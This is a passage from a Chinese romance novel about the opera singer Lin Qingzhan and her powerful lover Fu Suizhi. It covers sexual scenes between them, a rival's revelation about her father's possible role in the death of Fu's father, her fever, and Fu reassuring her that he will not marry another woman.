傅随之低下头深深望着她的眼睛,林青盏被他看得越发心虚,歪了下头,他顺势凑近,咬住她柔美的耳廓。 林青盏嘤.咛一声。 原本被他强压下去的火焰像是遇到了助燃物,瞬间爆炸,喷涌而出的都是熊熊烈火下的岩浆。 林青盏意识到不对劲已来不及。 她抬眸看到傅随之低头过来找到她的唇,用力咬住,吸吮着将她唇齿里的气息全部夺走。 山庄建筑古风古韵,没有半点现代化风景,连隔音效果都差了些许。 昨晚林青盏躺在床上,还能听到隔壁唐郁南在和属下开会商讨拍摄细节的声音,所以她一时间没敢再弄出太大的动静。 傅随之吃定了她不反抗,将人抱起来,抵在木门上。 他让她纤细白皙的双腿环在他身上,柔软的布料随即垂落下去,她雪白肌肤彻底暴露在空气中,微微冰凉。 他度过来的气息却是炙热的,像是要将她彻底烧为灰烬。 她单薄脊背抵在木门上,承受着风暴般的碰撞,越到后来,林青盏越觉得难耐。 她求着他去里面,傅随之才勉强稳住心神,抱着她往里面走,动作没有停止,依旧温柔地轻吻着她,恨不得将她全身细胞都灌入他的爱和液。 被他放在柔软被褥的那一刻,林青盏双手环着他的脖子,还记得提醒,“娜娜说要等我们吃饭。” 傅随之眼神迷离,边吻着她边说,“管不了。” 随后,用力。 下一秒,两人都像是拨开云雾看到了渴望已久的世外桃源,惊喜喜悦充溢着大脑,瞬间一片空白,双双跌落柔软舒服的云层中。 结束已是一个小时后,傅随之这才得空拿起手机,原本是想给徐泽也发个消息,看到半个小时前徐泽也发来的消息,「看来很激烈?」 「我带娜娜去玩,你们自便。」 傅随之懒得回复,将手机丢在旁边。 垂眸看到怀里躺着的人,身上的浅绿色汉服已经皱得不成样子,原本整齐的发髻乱糟糟的,青丝沾了汗贴在白皙脸蛋,那双眼睛更是红得不像话,直勾勾盯着他。 或者说,瞪着他。 傅随之笑出声,“怎么,还想要?” “要你个头啊。”林青盏往他胸口捶了一拳,“这是娜娜准备的拍摄衣服,现在这样怎么还给她?” “那就不还了。” “……” 那不是更明显地告诉别人,他们做坏事把衣服弄坏了! 林青盏再气愤也没用,衣服弄坏了肯定是还不回去的,她将问题丢给傅随之,权当不知道。 她原本是想和傅随之到外面逛一逛,顺便吃个饭,但当她提及这个想法的时候,傅随之手掌搭在她脑袋揉了揉,“待会有工作电话过来,让小敏陪着你去。” 对于他的拒绝,林青盏倒是不意外。毕竟傅随之这种人看着就不像是会去逛古城的。 她点了点头,“那我跟小敏去逛一逛就回来。” 傅随之只是看着她,揉了揉她的下巴没有再出声,那眼神好似有些复杂,像是蜂蜜般甜又带着让人看不清的思绪。 林青盏换了身衣服,陪着傅随之吃了晚餐,才带着傅小敏出去溜达逛街。 月光古城是浮城郊区的一座小岛,因为俯瞰图犹如月亮得名“月光古城”,早些年政府大力扶持景区发展,这里被包装成文化底蕴浓重的古城小岛,每天都有很多游客。 林青盏带着傅小敏往古城深巷走去,说是想去看看这里的刺绣旗袍。 傅小敏:“我记得柳花巷那边有一家专门做旗袍的老店,手艺很不错。我之前和我姐来过,要不我带林小姐过去?” 林青盏点头,跟傅小敏并肩走入柳花巷,很快在河边找到了那家旗袍店。 刚走进去,林青盏的目光就被摆放在中央的那套红艳秀禾服吸引了目光。 秀禾服是艳丽的红色,犹如晚霞一般吸引人,款式新颖,金线绣的凤凰在衣襟盘旋,灵动至极。 只一眼就能知道这料子是上等的绸缎,必然柔滑如雪般。 裙摆上绣着盛开的海棠花,栩栩如生,远观都有点分不清真假。 林青盏站在原地,深深望着那秀禾服,双眼放光。 片刻后,她收回视线,转而去看挂在旁边的旗袍,一件件看过去,很快找到了海棠花旗袍,比那秀禾服自然是淡色了许多,但看着也很好看靡丽。 她转身让老板帮她取下这件旗袍,想要进去里面试一试。 傅小敏原本是要跟着一起进去的,突然接到了个电话,让林青盏稍等片刻。 林青盏想着都是在旗袍店里,只说自己可以,就跟着老板上了二楼的更衣室。 她是断然没想到,竟然会在楼上更衣室里看到宋雅薇。 宋雅薇换了件紫色的旗袍,此刻正站在全身镜前面仔细端详着自己,好似对于身上的旗袍很是满意。 听到脚步声转头看过来时,宋雅薇眼眸深处也有着惊诧,应该是没想到会在这里遇上林青盏。 林青盏目光扫过宋雅薇,没有任何反应。 许是待在傅随之身边久了,他教了她一身的沉稳冷漠姿态,现在遇上什么事情都能从容面对。 她接过工作人员手里的旗袍,转身走进更衣室,换上旗袍,感觉很是合身,像是为她量身定做似的。 她脸带微笑走出来单间更衣室,看到宋雅薇等在外面。 第48章 林青盏没有理会,随意将头发挽起一个发髻,转身看着镜子里的女人身姿卓越,倾国倾城,更加满意。 宋雅薇双手环抱胸前看着她,“林小姐长得美若天仙,难怪慕殇淙会对林小姐念念不忘。” 林青盏从镜子里看着宋雅薇,不明白她想做什么,为何要说这样的话。 对上她的眼眸,宋雅薇嘴角的笑容更甚,“林小姐应该不知道吧,慕殇淙对你还是真爱呢。” 林青盏只觉得可笑。 “林小姐应该知道我们两人没有感情,联姻不过是家族安排,现在我们都是各自玩各自的。那有些话,我也不怕说给你听。” 宋雅薇走过来,站在林青盏身后,正好能让林青盏从镜子里看到她的脸和那双真诚无比的眼神。 “当初慕殇淙将你送到望月台后,让人去调查了你的信息,发现了一个秘密,但是他始终没告诉你。我猜测林小姐到现在都还不知道吧。” 林青盏抬眸看她。 “那时候傅鸿源就是以这个消息作为要挟,让慕殇淙不得不将你送出去,否则只要傅随之知道这个消息,恐怕你就没命了。” 林青盏拧着眉宇,“你到底想说什么?” “林小姐,你的父亲林平峰之前在浮城生活过,而且他是傅随之父亲傅清庭的司机。” 宋雅薇从镜子里观赏着林青盏的脸色变化,笑得像是黑色伽罗般。 “当初傅清庭是死于车祸,车祸现场只有断了气的傅清庭和他的助理陈卫,司机消失无影踪。这种情况下,恐怕是谁都会先怀疑那位司机,也就是你的父亲吧。” 林青盏听到自己心脏猛地震动了一下。 这是她完全没有想过的事情。 “慕殇淙当年没办法将你留在慕家,送到望月台后,可能是心底过意不去,想着要帮你找寻你的家人,就让人去海城调查,这才知道了你的身世。噢对了,你还有个哥哥,不知所踪是么?你猜这件事和傅家有关,那他是消失了,还是死了呢?” 林青盏死亡凝视着镜子里的宋雅薇。 宋雅薇将自己的手从林青盏肩膀拿开,“傅鸿源原本是看中了慕殇淙养着的你,觉得你和去世的棠傛有几分相似,如果能送到傅随之那边当眼线,肯定是个好棋子。慕殇淙一开始不肯,傅鸿源就以这件事相要挟,说如果让傅随之知道了这件事恐怕你活不了。” 慕殇淙对林青盏一直保持着某条界限,是知道他有天必然要娶个门当户对的妻子来助力他的事业,但说起来慕殇淙也是真的对林青盏上过心。 他非常清楚这件事让傅随之知道了,林青盏很可能会有危险,而将林青盏送到傅随之身边,虽然有危险,但还有不发生的概率。 他故意多番提示林青盏,她哥哥的失踪和傅家有关,是想让她有提防之心。 “只是没想到啊,傅三爷好像对林小姐特别钟意。” 宋雅薇低下头,在林青盏耳边轻声说:“你以为傅随之没有调查过你么,我都能调查到的东西,傅随之必然已经清清楚楚的。既然如此,那他还是将你留在身边是因为什么?是真的钟意你到可以放下杀父之仇,还是想要留在身边慢慢折磨?” “你不可能没听说吧,傅家和沈家的联姻已经谈定了,傅随之会和钰铭完成联姻。傅家和沈家世代利益相交,傅随之做出这样的抉择不难理解吧。只有娶了钰铭,他才能坐稳现在的位置,才能握紧手里的权利。即便他是堂堂傅三爷,也不可能和权利利益过不去吧。所以,他跟你是没有结果的。” 林青盏捏紧拳头。 宋雅薇说得这些话,她一个字都不信。 她要去找林博蘅要去找哥哥确认清楚才可以。 宋雅薇笑声很是诡异,“不过也说不定。或许傅三爷就是动了情,但你是他杀父仇人的女儿,他终归是不可能将你娶回傅家老宅。只要林小姐乐意,一辈子被养在外面也行。” 傅小敏打完电话问了工作人员赶忙往二楼走来。 刚好看到宋雅薇站在林青盏身后,而且林青盏神色很是不好,傅小敏直接冲过来将宋雅薇用力推开。 宋雅薇踉跄了两步,“你干什么?” 傅小敏可不像傅小灵那样柔和,她长着精致锐利的眼眸,头发高高扎起,看着就不是好惹的模样。 “我警告你,离我们家姑娘远点!” 该说的话差不多都说完了,宋雅薇双手环抱胸前,盯着林青盏阴阳怪气了句:“没想到啊,傅三爷对林小姐倒是护得紧,是真的很喜欢么?” 说罢,她冷笑一声,转身下了楼。 傅小敏见林青盏神色发青,着急扶住她的手臂,“姑娘,没事吧?她对你做什么了?” 林青盏摇了摇头。 她感觉双手无力,全身绵软。 宋雅薇说得一定不是真的。 察觉林青盏神色不对,傅小敏买下她身上的海棠花旗袍,衣服也不换了,直接带着人上了车。 林青盏倚靠在后座,双眼闭上,脑海里不停闪过宋雅薇说的那些话。 她终究没忍住,给林博蘅发了条消息:「有要事找他。」 确认发送成功后,她的纤细指尖点在屏幕上,很快将短信记录都删掉。 林青盏神色很不好,傅小敏心底疑惑,以为她是遇到宋雅薇不高兴,没有打扰她。 林青盏现在心底思绪一片乱,也无暇应付傅小敏,干脆选择沉默。 一路寂静回到山庄。 林青盏下了车往里面走,刚走进别院,看到客卧外面的凉亭下站着两人。 傅随之神色清冷说了句什么,随后在旁边的石凳子坐下,他身旁的男人也跟着转过身。 林青盏看到那人,心底猛地震惊了下。 不是秦楠不是傅慎,是林博昶! 林博昶怎么会在这里? 今天宋雅薇说的那些话,让林青盏的思绪一下子都打开了。 她转过身看向傅小敏,出口询问:“林博昶怎么会在这里,他是三爷的人吗?” 傅小敏倒是坦然,“是。” “……”这也是林青盏没有想到的。 林青盏没有过去打扰,回了卧室,坐在窗边的凳子上,感觉一颗砰砰砰跳动着。 好像所有的事情一下子乱七八糟了。 慕觞淙和宋雅薇结婚。 宋雅薇出轨林博昶。 林博昶是傅随之的人。 到底是林博昶在傅随之这儿当宋雅薇的眼线,还是在宋雅薇那边当了傅随之的眼线。 还有宋雅薇说的那些事情,是真的吗?她的爸爸跟傅随之父亲车祸事件有关吗? 那傅随之到底知不知道这件事? 如果他知道了,为什么还让她留下来? 她突然想到当初看到林解的那条收养记录。 林解不是被登记册上写的那两人收养的,可是登记册清清楚楚写着,这是有人故意弄的假记录吗? 心绪很是混乱的时候,搁在桌面的手机剧烈震动。 她拿起来看了眼,很快接通,“林先生,我——” “小灯笼,是我。” 贺兰承的声音传来时,林青盏那颗突突跳着的心脏终于平缓了些许。 即便是分开这么多年,但林青盏仍旧记得,父母离世后哥哥将她抱在怀里,两人相依为命面对所有陌生人的经历,更加记得哥哥是怎样护着她的。 林青盏心底对他始终有着强烈的依赖。 她握紧手机,“哥,你上次说知道我在这里,一直没有回来找我是时机不对。但林博蘅说马来西亚那边最近也不太平,其实你不是因为时机好了才回来的,是因为我跟傅随之的事情才回来的,是吗?” 之前贺兰承提及傅随之的时候,脸色总是不太好,并且直言不看好傅随之,希望林青盏从他身边离开,不是因为傅随之的性情清冷,而是因为他是傅清庭的儿子,因为林峰平跟傅清庭的死有关吗? 这些年林青盏待在望月台这个看似三教九流的地方,其实台里的人都将她照顾得非常好,养出了她单纯纯真的性情。 上一辈那些恩怨,贺兰承原本不想告诉林青盏,或者该说想着能拖一日是一日,只是没想到她竟然知道了。 贺兰承沉默片刻,“那些事已经过去很久,调查起来很难。到目前为止,我确定的事情其实不多。如果查到我会告诉你。” 他这么说就是默认了,林青盏的心沉了下来。 “哥,爸爸?” 贺兰承在电话彼端幽幽叹了口气,“我不知道。” 傅清庭和林峰平都已经去世,连棠傛都不在了,这件事要追查并不容易,也或者永远都不会有答案。 但是无论如何,贺兰承想做的事情是,保护好林青盏。 “这件事还没定论,或许傅随之自己也在调查。” “那哥哥知不知道他调查到什么?” “这个现在还不明确。” “也就是说傅随之有可能还不知道我是林峰平的女儿吗?” “不好说。” “嗯?” “为了保护你,之前林博蘅让人去海城做过安排,知道你身份的几个人都不在海城了。就算是傅随之让人去海城调查,也不见得能马上查到你的身份。所以他可能还不知道。但是他现在不知道,不代表以后都不会知道。” 贺兰承声音沉了几分,“小盏,现在你是我唯一的家人,为了你的安全,我想带你先离开。” 离开? 可是—— “你认真考虑考虑。林博昶过生日时会举行宴会,他邀请了傅随之,我也会过去,到时候我希望能听到我想要的答案。” 电话挂断后,林青盏紧紧握着手机,抬眸看到窗外的石榴树硕果累累,风一吹,有果实掉落下来。 像极了林青盏的心绪。 原本以为能开花结果,却发现树根断了- 林博昶这次是和宋雅薇一起出来的,听到消息说傅鸿源和慕觞淙对外国际贸易公司新开业,但传输线有点问题,就过来给傅随之传话,好叫傅随之去调查调查。 临走前,他掏出了琉璃金镶边的邀请函放在桌面,“三爷,月底25日我生日,我每年都会举办生日宴会你知道的,希望你能赏脸过来。” 林博昶长得很是精致,绝对的小白脸容貌,只是这人常常嬉皮笑脸没个正经,身上自带一股浪荡公子的邪恶感。 傅随之冷冷看他一眼,他倒是不惧怕,还对傅随之发送了个眨眼wink。 秦楠在旁边笑,“就你小子不怕死。” 林博昶哼着歌就走了。 林博昶跟着傅随之快十年。 当初林家攀着贺家发展了国际生意,但资金周转不过来,险些就出了岔子 关键时候是林博昶在酒吧遇上傅随之,单枪匹马跑去跟傅随之谈了笔生意,就拉来了投资,这才让林家周转起来,后来也发展越来越好。 当初傅随之会答应投资的条件之一是,林博昶永远跟随傅随之,除了杀人放火那些违法的事情,傅随之让林博昶干什么他就得干什么。 所以上次傅随之让他去盯紧慕觞淙,他二话没说去勾引人家未婚妻,还把宋雅薇哄得团团转,什么消息都能套上往傅随之这边送来。 傅随之看了眼林博昶的身影,倒是没在意他的举动。 他转身问旁边的秦楠,“她吃饭了吗?” 压根不用提名字,秦楠就知道他问的是谁,“刚刚才听小敏说,下午去看旗袍遇上了宋雅薇,好像说了几句话,回来后就把自己关进房间里了。” 傅随之蹙眉,站起身就往卧室走去。 推开木门,绕过山水画屏风,傅随之看到床上躺着的人,身上只披着单薄的毯子,睡得昏沉。 只是走近看她神色不太好,嘴唇略干。 他走过去,还未开口,指尖摸到她的脸蛋,感受到肌肤的滚烫。 发烧了? 他将人抱起来,发现她睡得昏昏沉沉,意识并不清楚,赶忙让傅小敏请医生过来。 这边不比海棠湾,没有家庭医生在,等傅慎将医生请过来已是二十分钟后,林青盏睡得迷迷糊糊的,满身虚汗,乌黑发丝贴在白皙额头,脸蛋苍白得像是白纸。 医生过来给做了检查,因为抽血不方便,先给喂了药。 不过半个小时,林青盏不再梦魇,终于能够沉稳睡下。 傅随之坐在床沿,看着傅小灵为林青盏擦拭,眼神越发阴沉,干脆接过来,亲自为她拭去额前的冷汗。 傅小敏站在一旁,望着傅随之,心底是震惊的。 这些年来,傅随之被傅怀锦养成了清冷冷漠的性格,傅小敏从未见过傅随之这样贴身照顾一个人,眼中满是担忧。 “今天出去有发生什么事?” 他的阴冷声音突然传来,傅小敏顿了下,将今天的事情如实说了一遍。 “当时没听到姑娘说了什么,后来问她也——” 傅小敏话还没说完,傅随之手里的帕子直接飞了过来,从傅小敏耳边飞过,砸在地上。 傅小敏站着没敢再动,傅小灵连呼吸都轻了。 三秒后,他再次开口,声音像是淬了寒雪的湖水般阴冷至极,“出去。” 傅小灵赶忙将新的手帕挂在旁边,转身带着傅小敏离开。 将门关上,走到院子里,傅小灵勾住傅小敏的肩膀揉了揉,“爷在林小姐的事情上是会比较凶。” 傅小敏抬眸看着傅小灵,突然说:“他很在意她。” 这是所有人都能看得出来的- 幽暗房间里。 林青盏躺在青黛被子里,闭着双眼,睡得不算踏实。 傅随之将帕子拧湿,贴着她白皙额头拭去虚汗,留下薄薄一层水汽,像是要渗入她细腻的毛孔里。 望着她,傅随之心底的怒火燃烧。 他从来都将自己的情绪压制得很好,包括对她的感情,他所表达表现的,没有他心底的百分之一。 谁都不知道,他恋她如痴如狂。 傅随之修长手掌捧着她的白皙脸蛋,低下头,冰凉唇线贴着她的嘴唇轻柔吻着她,舔了舔她的唇尖,没忍住将舌尖探入。 但她还在生病,不想打扰她休息,傅随之停了下来。 他抬起头,看到林青盏睁开眼眸。 那双桃花眼略显迷离,荡漾一层迷离,深深望着他,不 知道怎么突然间就泛起了红。 傅随之蹙眉,手掌捧着她的脸,她抓住他的手掌,蹭了蹭他的掌心,眼底是藏匿着委屈的。 只是她偏偏不想说,咬住洇润红唇盯着他,委屈得像是下雨天无处可躲的小猫咪。 傅随之将人扶起来,林青盏白皙手臂勾住他的脖颈,顺势跌坐在他怀里,香柔近似无缝贴在他胸膛,她抬起头就来亲他。 记忆里,除了她到书房求他护她的那第一次,林青盏从未主动做过这种事情,多半都是他色令智昏地占有她。 傅随之不知道她今天这是怎么了,只能随她主动凑过来夺走他的呼吸,将他高高抬起,像是架在篝火上炙烤。 在林青盏将白皙手掌探入他衬衫里面摸到他腹肌时,傅随之抓住她的手腕制止,“你还发着烧。” “你不想么?” 她的声音是带着哭腔的,惹得他□□难耐,偏偏又担心她身体受不住。 他蹭了蹭她的鼻尖,抵在她唇角,“不做。” 一句话将她所有的委屈彻底打出来,她手臂将他的脖颈抱得更紧,“你是不是没那么喜欢我?” 他手掌搭在她单薄脊背抚了抚,“你说呢?” 她已经想得很远,连鼻尖都是红的,“三哥,你心底有没有我?” 傅随之不是会说甜言蜜语的,他没有那种耐心,也没有哄人的经验。 以往与她做最亲密的事时都是随着自己心思,强势地强硬地占有她,她总是被迫给予那个。 以往她被他折腾得厉害时,也会如水般泫然若泣,他只会要得更狠,她也从未因此有什么脾气。 但今天明显不同。 她这样柔情似水缠着他,他已经有些心烦意乱,只是那张脸从来都是清冷的,没有显露出来罢了。 傅随之双手箍住她的腰,低头吻住她的唇,是使了点劲儿才让她情绪稳定下来,全身柔软地跌在他怀里。 他一寸一寸吻着她的唇,流连在她脖颈的白皙肌肤,最终吻到锁骨的地方,印下一片红色。 见她情绪稳定下来,这才捧起她的脸,望入她那荡着涟漪的桃花眼,“遇到什么事?” 她摇头。 “想要什么?” 她的指尖又贴在他的肌肤,轻轻抠着,“想要。” 他捏住她的手掌,按了按她的掌心,“这个现在不行,你生着病。” 他捏起她的下巴,贴着她嘴唇吻了吻,“等你好了想要多少都给你。” 林青盏手掌还想往里面钻,但他不让就是不让。 “现在先睡觉。” 傅随之抱着她躺下,隔着单薄被子将她紧紧搂在怀里,以手背试了她额头,温度还是很高。 他神色略显严肃,“闭眼休息。” 林青盏顶着高烧,思绪疲乏又模糊,方才是像梦一场想跟他亲密,这会儿被他抱着动不了,那股疲倦后知后觉涌上来,她很快陷入深眠。 她睡得很快很沉,抱着他的男人却异常清醒,那双眼眸里像是沁着寒冰一样阴冷。 半个小时后,傅小灵进来守着林青盏,傅随之才走出房间。 秦楠和傅慎侯在院子里,见到他赶忙交代,“调查了,当时林小姐是在休息室里,那地方没有监控,里面也没其他人,无法得知她们聊了什么。” 林青盏是和宋雅薇见面后,突然生病又开始说胡话,傅随之认定是宋雅薇说了什么惹她不高兴,原本想让秦楠去调查清楚,才知道怎么解决。 傅慎见傅随之脸色不好,沉稳说道:“我叫人去把宋雅薇叫过来?或者让林博昶探听?” 傅随之挥了挥手,傅慎便明白,转身去给林博昶打电话。 从始至终,傅小敏都站在不远处,她知道傅随之因为她没有照顾好林青盏生气,不敢吭声。 秦楠看她一眼,转身望着傅随之出了主意,“爷,林小姐最喜欢星星灯和月亮灯,不如我和小敏去弄点来?” 黑夜里,傅随之一身黑色衬衫黑色西裤,矜贵傲然,脸色极为冰冷。 他没有说话转身回了屋,也算是默认了。 走廊里,秦楠走到傅小敏面前,举手揉了揉她的脑袋,“没事了。走吧,去准备准备。” 傅小敏眼底暗藏失落,转过身往外走。 秦楠却突然拉住她,望着她,“到现在还不能死心吗?爷不是你能喜欢的人。” 这个不算秘密的秘密被重新提及,傅小敏神色随即变了,用力挣脱开他。 秦楠气得拽住傅小敏,用力将人往外面拽出去,到了山庄门口,他才停下来,恨铁不成钢! “你不是从小最聪明的,难道还看不出来吗,爷对林小姐非常不一样,他喜欢林小姐,为了林小姐可以跟老爷子对抗。 而你呢,当初爷发现你的心思,立马将你遣送出国,五年了,没准你回来一次。这样的安排你还不明白? 就算是你将喜欢藏在心底也不行,爷是要让你断了所有的念想!” “我知道!”傅小敏怒吼着。 她当然知道傅随之对林青盏不一样! 别人不懂,她却看得出来,傅随之爱林青盏爱到发狂,所以才会一点点小事,大动干戈! 第49章 五年前,傅随之发现傅小敏动了别的心思,就将傅小敏丢到意大利去了。 说是掌管国外分公司,其实谁都知道这是傅随之对她的惩罚,让她清楚不能妄想。 这次她能回来,也是秦楠发现傅随之担心林青盏的安危,知道傅小灵一个人护不过来,借机才将傅小敏弄回来的。 回来后,她日日夜夜跟着林青盏,清楚看到傅随之对林青盏的特别之处,他对她的深情,别人只看到了冰山一角。 傅小敏深呼吸片刻,望着秦楠说道:“你不用再提醒我,我能摆正自己的位置。” 说罢,她转身离开。 秦楠气得抓了抓头发,片刻后,追了上去要去抓傅小敏的手,被她躲开,他气得咬牙切齿硬是将她手腕拽过来,紧紧抓住。 他从小喜欢傅小敏,可是傅小敏心底只有傅随之! 但是他还是不想放弃!- 林青盏醒来时,傅随之已经不在,是去参加原定的文化宣传大会。 高烧退了后,她身体有些软绵无力,脑袋浑浑噩噩的,下床时站在旁边地毯上缓了片刻才感觉双眸清明了些。 傅小敏过来帮她换好了衣服,要扶着她去旁边的沙发吃饭,林青盏却摇摇头,“没那么严重。” 傅小灵将早餐端到桌面放下,转身望着她,“你昨晚回来突然发了高烧,差点没把我们两个吓死。” 林青盏感觉身体有些轻飘飘的,在咖色木沙发坐下,抬眸看向傅小敏,“他训你了?” 傅小敏怔了怔,是没有想到她会问这个。 高烧退下犹如翻涌的海浪留下一地狼狈的沙 林青盏脸色略显苍白,但那双眼眸却是纯净的,满是没有任何杂质的担忧和安抚。 “我会和他说,遇到宋雅薇是意外,跟你没关系。” “相比我,爷更担心你。”傅小敏将小米粥端到林青盏面前,“身体要紧,小姐别因为旁人影响了心情才是。” 说到她自己,林青盏点了点头,却是不想再多说。 傅小敏看出她面色似有忧虑,心底担忧。 唐郁南那边安排的拍摄昨日就结束了,林青盏闲着无事,原本是想提前回浮城,傅小敏却不让,说是傅随之做了安排,让她先在山庄好生休养,过两天好些才回去。 刚巧傅随之在这边有工作,能照看林青盏。 话是这么说,但这天傅随之工作到很晚,林青盏觉得困乏很早就睡下了,等她再醒来,傅随之又去工作了。 反倒是唐郁南听到她生病,赶忙过来探望,顺带让她看了看拍摄的照片和视频。 她大学学的就是服装设计,毕业后自己创立了个服装公司挂在唐氏集团名下,她哥哥唐郁东为支持她工作,为她组建了一支很好的团队,不到两年就将她的服装品 牌打得极为响亮。 这次拍摄的是她新上的一系列汉服,非常适合林青盏这种婉约女子,又是专业团队拍摄的,照片非常出片,视频更是美得不像话。 林青盏看着都很满意。 唐郁南跟她聊了一下午,傍晚时分被徐泽也接走。 林青盏坐在凉亭里,将手机放下,抬眸看到亭边的合欢花开得正艳,眼神暗淡下来。 手机屏幕还在播放着唐郁南发来的视频,视频中她于画卷中伴随着古筝曲娉婷起舞,真丝长袖挥舞,像极了天仙。 她脑海里闪过昨晚她缠着傅随之的姿态,是她从未有过的,也是那一刻的自己让她明白,她对于傅随之的情感,像是此刻盛放的合欢花,艳丽、张扬、再也藏不住。 林青盏没能等到傅随之回来。 宣传会那边有古城的政.府.人员,难得碰上傅随之,说是想让他投资古城文化宣传活动。 因为棠傛的原因,他对于非遗文化还算有没兴趣,所以没有推脱承下应酬。 两天都没能见到,林青盏是有些遗憾,但身体刚恢复,受不住熬夜。 夜晚十点,林青盏躺下休息。 她生活极有规律,躺下便能睡着,只是今夜他没在,明显睡得不踏实,迷迷糊糊中总想去摸一摸旁边是不是空的,又闭上眼睛转身睡下。 直到感觉口干舌燥,她恍然间突然醒来,拉开真丝被,赤足踩在地毯上,想去外面倒杯水喝。 林青盏转过身,看到沙发上的黑影吓了一跳,整个人跌回去,再定睛一看,发现是穿着黑色衬衫窝在沙发阖眼休息的傅随之,这才安心。 听到窸窸窣窣的声音,傅随之也醒了过来,一双浅棕色眼眸望过来,难得没有了平日里的清冷,反倒是有几分柔情。 林青盏先一步朝他走过去,“你回来了,怎么不睡床上?” 傅随之对她伸出手,在她的手掌递过来时,稍微用力将她拽过来坐在他腿上,手掌贴在她腰间,将人揽住。 她纤细手掌搭在他肩膀,指尖勾住他黑色衣领,像是小蛇一样要往里面钻进去,“什么时候回来的?” “凌晨三点。”傅随之低头,碰了碰她的鼻尖,“看你睡得不安稳,不想吵醒你。” 他鼻尖贴过来时,温热的气息落在她白皙皮肤,痒痒的,但她没有躲开,眼神里藏匿着太多的情绪,很想去靠近他。 她的唇尖已经碰到他的唇,但没有像那晚般主动,因为她现在清醒许多,莫名的羞耻心让她做不到那样主动地勾.引.他,只一双明亮眼眸望着他。 傅随之好似完全看透她的思绪,低笑了声,低头去封住她的唇。 他抓住她的手腕放到他肩膀,让她勾住他的肩膀,更紧密拥抱的同时,他狠狠吻住她。 林青盏双臂紧紧勾住他的脖子,连手指都在用力,想要跟他更加靠近,也在热烈地回应他的吻。 她舌尖探入他的唇齿,身体自然迎合过去。 傅随之扶着她的腰,吻得深情,但片刻后,他将人拉开,望着她那双荡漾涟漪的桃花眼,声音低哑:“带你去看样东西。” “嗯?” 他没有过多的解释,抓着她肩膀让她站起身,牵着她的手往门外走。 林青盏心中疑惑看着他,下一秒他拉开房门,她抬眸看到满是星星的院子。 是傅随之让秦楠和傅慎准备的星星灯和月亮灯,像是随意又有规律地挂在走廊上、草丛里,凉亭四周,整座院子闪烁着亮晶晶的星光灯,一闪一闪,很是漂亮。 林青盏完全下意识地“哇”了声,双眸望着外面,心底砰砰跳着,像是节日里的烟花在天空炸开般轰然。 傅随之牵着她的手,一路走到凉亭。 这两天为了让她在这儿休息逗鸟玩儿,傅小灵往凉亭里摆了摇摇椅。 傅随之往那儿一坐,又将林青盏揽过来坐在自己腿上,从背后抱住,与她一同望着院子里的“星星”和“月亮”。 他下巴搭在她肩膀,几乎是将全身的重量都压过来,很重,但林青盏却很喜欢这种负重带来的真实感。 她仰头望着面前的风景,凉亭前面的走廊是倒着的“L”形,走廊下都挂着星星灯,在这黑夜里闪闪发亮。 凉亭的头顶还挂着手臂那般长的月亮灯,明亮至极,像是要将黑夜下的整片院子都照亮。 她歪着脸,蹭了蹭他的黑发,“什么时候弄的?” “你睡着后。”傅随之脸色平静,眼眸里倒映着星星的光亮,“本来就是打算让你多睡会儿,天将亮叫你起来看月亮。” 她唇角勾着笑,“你这是在哄我吗?” 傅随之转头看她,“现在心情好点了?” 林青盏没正视他的眼眸,转身看向走廊,却被他捏着下巴掰过脸,与他四目相对。 “还不愿意说?” 口吻是冰冷的,也是带着怒意的。 林青盏眨了眨浓密眼睫,知道今晚必然逃不过,郑重其事转过身看他,重复问出那个问题,“三哥,你的心底——” 那晚人发着烧,思绪终究不算完全清醒,轻易可以问出口的话,今夜却难以说出。 傅随之的手掌改而抓住她脖颈后面,像是抓住小猫似的。 林青盏脸蛋沾染了些许委屈的红,“宋雅薇说傅家和沈家要联姻。” 这话说出,傅随之神色没有任何讶异,明显是清楚的。 林青盏的心咯噔了下,还是咬牙说了下去,“她说你为了利益必然会和沈钰铭结婚,而我最多只能是你养在外面的女人。” 傅随之那双浅棕色眼眸沉了几分,却依旧没有言语。 林青盏心底的那股委屈再次涌上来,纤细指尖紧紧揪住他的衬衫,“三哥,即便现在文化发展快速,还是有些人会看不起我们这一行的,说我们就是台上嘤嘤唱戏的。我的身份自然不比沈大小姐,但我林青盏也是爹妈生的,他们在世时也极其珍贵将我捧在掌心,我师傅个老师更是悉心将我养大,不是叫我来让人侮辱的。” 她的手指握得更紧,“当初我跟了你,初衷确实不光彩,但你单身我未婚,即便这种关系在外人看来必然不光彩,但我也是问心无愧的。可如果你结了婚,我必然不可能这样不明不白跟着你。” 说到此,泪滴从泛红眼角滑落。 傅随之举手用指腹为她拭去,“好了,不说了。” 她紧紧咬着唇,用力摇头,却决心今天要将事情说清楚,“你真要和沈钰铭结婚吗?” “没有。” 他口吻笃定,瞬间止住她的泪水。 望着她泛红的眼眶,傅随之悠悠叹了口气,抵着她的额头说着:“老夫人是沈家人,这些年没少找机会想将沈家的人再送进傅家,老爷子也是这个意思。但他们不代表我。” 他郑重其事,“我不会和沈钰铭结婚,听懂了?” 他那张俊美脸庞本身就带着蛊惑,现在这样笃定的口吻,说话时指腹轻轻蹭着她的脸颊,竟然带着温柔的魅惑。 林青盏望着他的眼睛,委屈被一句话制止,“那——” “听到我要跟别人结婚,心底委屈?”他鼻尖蹭了蹭她的,像是要亲下去又没有,“所以那晚想要证明什么?” 想起那晚发烧迷迷糊糊时,她缠着他要跟他做.爱时的情景,林青盏脸颊泛红想往旁边躲开。 他手掌捧着她的后背,轻而易举将她摁下来,贴得更紧,甚至是压迫着。 “如果我真的和别人结婚,还跟我做,不觉得吃亏吗?” 林青盏瘪嘴,“那我就做完甩了你,谁吃亏还说不定。” 傅随之勾着唇笑了,是发自内心的愉悦,他贴过去吻住她的唇,不再是方才的温柔,而是霸道的,像是台风过境般要将她吞没。 与此同时,他的手掌逐渐往上,抓住她睡裙一角,用力一拽,布帛瞬间被撕裂,露出她白皙到发光的双腿。 她吓了一跳,眼睫眨了好几下,手掌先一步压住那摇摇欲坠的裙摆,“这是在外面!” 虽然大晚上的应该不会有人出来,可是在院子里—— 这山庄是徐 泽也的产业,以往没有人住,只是定期打扫,后来唐郁南说要借过来拍摄,徐泽也临时让人打扫了这个院子作为林青盏的住处。 院落不算大,四四方方,中间坐落了个凉亭,两边蔓延着绵长走廊。 此刻走廊和凉亭中都挂着星星灯,将黑夜点亮。 傅随之让林青盏转了身,面对他坐着,睡裙被他撕成条状布帛,遮挡不住无限风光,在星星灯的照耀下更显得白皙如冰雪般。 